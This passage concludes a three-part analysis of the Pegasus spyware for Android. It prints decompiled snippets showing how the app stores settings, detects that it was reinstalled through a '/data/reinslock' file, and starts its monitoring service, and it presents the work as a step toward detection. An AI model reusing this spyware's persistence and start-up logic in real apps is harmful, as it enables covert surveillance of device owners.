        handler.postDelayed(f, 2000L);
      }
      editor = sharedPreferences.edit();
      editor.putString("NetworkWindowSim", str1);
      editor.commit();
      return;
    }
  }
  bool = false;
}
```

Figure 68

The spyware verifies if the “/data/reinslock” file exists on the device, which indicates that the application was reinstalled:

```
a.a("AndroidMonitorApplication: Android Monitor Application Create");
try {
  a.a("performIfAgentWasInstalledInOvverideCheck starting");
  File file = new File();
  this("/data/reinslock");
  if (file.length() > 0L) {
    a.a("NetworkManagerService  found reinstall sync file. that mean we were installed by reinstall");
    file = new File();
    this("/data/data/com.network.android");
    b.b("/data/reinslock");
    b.a(file.getAbsolutePath());
    file.mkdir();
    b.a(1, (short)98, "LOG_AGENT_WAS_INTALLED__BY_OVVERIDE");
  }
  a.a("performIfAgentWasInstalledInOvverideCheck end");
```

Figure 69

As we've seen during the entire analysis, the threat actor didn't make any efforts to hide the true purpose of the APK. Figure 70 reveals the message stating that Pegasus was successfully initialized:

```
this.a = new b();
IntentFilter intentFilter = new IntentFilter();
b b1 = this.a;
a(intentFilter);
this.b = new a(this);
registerReceiver(this.b, intentFilter);
a.a("AndroidMonitorApplication Build.VERSION.SDK_INT:" + Build.VERSION.SDK_INT);
if (!c.d()) {
  a.a("AndroidMonitorApplication: startService ACTION_ENTRY_POINT");
  startService((new Intent((Context)this, NetworkManagerService.class)).setAction("ACTION_ENTRY_POINT"));
} else {
  a.a("AndroidMonitorApplication: 4.3 JELLY_BEAN_MR2. working without the service ");
}
k.a((Context)this);
a.a("AndroidMonitorApplication: Pegasus Android Monitor Application Initialized Successfully!");
```

Figure 70

This concludes our 3-part analysis of Pegasus for Android. We believe that some of the functionalities presented here are also used by recent malware families, and our analysis might represent the first step in detecting them.